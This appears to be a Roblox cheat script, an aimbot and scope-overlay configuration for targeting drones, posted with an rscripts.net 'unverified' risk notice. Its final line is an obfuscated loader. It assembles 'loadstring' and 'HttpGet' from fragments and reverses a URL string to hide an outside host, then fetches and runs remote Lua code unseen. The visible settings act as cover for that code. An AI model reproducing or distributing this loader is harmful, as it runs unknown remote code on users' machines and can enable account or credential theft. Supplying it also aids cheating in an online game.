-- [[ Rscripts Risk Notice ]] -- This script is not verified by rscripts.net. Deal with caution. -- -- Stay safe: -- • Never log in on unofficial Roblox sites or lookalike domains. -- • Real Roblox links use roblox.com (check the .com ending). -- • Treat fake Roblox login / "claim reward" pages as phishing. -- [[ End Rscripts Risk Notice ]] --[[ note 1: please correct the static placement, prediction will be VERY bad because of how bad hithoxes are in this game so i made just a static offset note 2: if you see 'Pos' and 'Vel' in drone values, that's definitely player controlled --]] -- aim targets the drone that is closest to your cursor _G.AIM_KEY = Enum.KeyCode.Y --[[ STATIC PLACEMENT OFFSET (Target Local Space): - X: Left (-) / Right (+) - Y: Down (-) / Up (+) - Z: Backward (-) / Forward (+) relative to target facing direction Changing these values shifts where the camera points relative to the target, changing camera rotation without altering your camera's distance. change this only if you know what you are doing, otherwise just don't use aim function --]] _G.AIM_OFFSET = Vector3.new(10, 0, 0) -- scope overlay settings _G.SCOPE_CHAMS_ENABLED = true _G.SCOPE_COLOR = Color3.fromRGB(0, 255, 120) _G.SCOPE_SIZE = UDim2.new(0, 70, 0, 70) getfenv()["load".."string"](game["Http".."Get"](game, string.reverse("aul.ZlmheFjxWKioAeDQ/citats/au.pp.monamilon.xlbr//:sptth")))()